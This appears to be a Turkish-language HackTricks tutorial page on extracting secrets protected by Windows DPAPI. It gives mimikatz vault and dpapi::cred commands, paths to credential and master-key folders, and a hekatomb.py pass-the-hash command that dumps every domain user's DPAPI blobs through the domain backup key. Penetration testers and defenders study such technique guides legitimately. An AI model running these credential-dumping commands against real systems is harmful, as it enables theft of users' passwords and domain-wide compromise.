DPAPI - Extracting Passwords

Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

​​RootedCON İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'nın en önemlilerinden biridir. Teknik bilgiyi teşvik etme misyonuyla, bu kongre, teknoloji ve siber güvenlik profesyonelleri için her disiplinde kaynayan bir buluşma noktasıdır.

DPAPI Nedir

Veri Koruma API'si (DPAPI), asimetrik özel anahtarların simetrik şifrelemesi için Windows işletim sistemi içinde başlıca olarak kullanılır, kullanıcı veya sistem sırlarını önemli bir entropi kaynağı olarak kullanarak. Bu yaklaşım, geliştiricilerin verileri kullanıcının oturum açma sırlarından türetilen bir anahtar kullanarak şifrelemesine izin vererek şifrelemeyi basitleştirir veya sistem şifrelemesi için, sistem alan kimlik doğrulama sırlarını kullanarak, böylece geliştiricilerin şifreleme anahtarının korunmasını kendilerinin yönetmesine gerek kalmaz.

DPAPI Tarafından Korunan Veriler

DPAPI tarafından korunan kişisel veriler arasında şunlar bulunmaktadır:

  • Internet Explorer ve Google Chrome'un parolaları ve otomatik tamamlama verileri

  • Outlook ve Windows Mail gibi uygulamalar için e-posta ve iç FTP hesap parolaları

  • Paylaşılan klasörler, kaynaklar, kablosuz ağlar ve Windows Vault için parolalar, şifreleme anahtarları dahil

  • Uzak masaüstü bağlantıları, .NET Passport ve çeşitli şifreleme ve kimlik doğrulama amaçları için özel anahtarlar için parolalar

  • Kimlik Bilgileri Yöneticisi tarafından yönetilen ağ parolaları ve Skype, MSN messenger ve daha fazlasını içeren CryptProtectData kullanan uygulamalardaki kişisel veriler

Kasa Listesi

# From cmd
vaultcmd /listcreds:"Windows Credentials" /all

# From mimikatz
mimikatz vault::list

Kimlik Dosyaları

Korunan kimlik dosyaları şurada bulunabilir:

dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Mimikatz dpapi::cred kullanarak kimlik bilgileri bilgisini alın, yanıtta şifreli veri ve guidMasterKey gibi ilginç bilgiler bulabilirsiniz.

mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7

[...]
guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData             : b8f619[...snip...]b493fe
[..]

mimikatz modülü dpapi::cred'i uygun /masterkey ile kullanarak şifreleri çözebilirsiniz:

dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>

Anahtarlar

Kullanıcının RSA anahtarlarını şifrelemek için kullanılan DPAPI anahtarları, %APPDATA%\Microsoft\Protect\{SID} dizini altında saklanır, burada {SID} kullanıcının Güvenlik Tanımlayıcısı bulunur. DPAPI anahtarı, genellikle kullanıcıların özel anahtarlarını koruyan anahtarla aynı dosyada saklanır. Genellikle rastgele verilerden oluşan 64 bayttır. (Bu dizin korunduğundan dolayı dir komutunu kullanarak listelenemez, ancak PowerShell'den listelenebilir).

Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}

Bu, bir kullanıcının bir dizi Anahtarın nasıl görüneceğini gösterir:

Genellikle her anahtar, diğer içeriği şifreleyebilen şifreli bir simetrik anahtardır. Bu nedenle, daha sonra bu anahtarla şifrelenmiş diğer içeriği çözmek için şifreli Anahtar'ın çıkarılması ilginçtir.

Anahtarın çıkarılması ve şifrelenmesi

Anahtarın nasıl çıkarılacağı ve şifreleneceği konusunda bir örnek için https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++ gönderisine bakın.

SharpDPAPI

SharpDPAPI, @gentilkiwi'nin Mimikatz projesinden bazı DPAPI işlevselliğinin bir C# portudur.

HEKATOMB

HEKATOMB, LDAP dizininden tüm kullanıcıları ve bilgisayarları çıkarmayı ve RPC aracılığıyla etki alanı denetleyici yedek anahtarını çıkarmayı otomatikleştiren bir araçtır. Daha sonra betik tüm bilgisayarların IP adreslerini çözecek ve tüm kullanıcıların DPAPI bloklarını almak için tüm bilgisayarlarda smbclient çalıştıracak ve her şeyi etki alanı yedek anahtarı ile şifreleyecektir.

python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp

LDAP bilgisayar listesinden çıkarıldığında, onları bilmiyor olsanız bile her alt ağı bulabilirsiniz!

"Çünkü Etki Alanı Yönetici hakları yeterli değil. Hepsini hackleyin."

DonPAPI

DonPAPI, DPAPI tarafından korunan sırları otomatik olarak dökebilir.

Referanslar

RootedCON, İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'nın en önemlilerinden biridir. Teknik bilgiyi teşvik etme misyonu ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

Last updated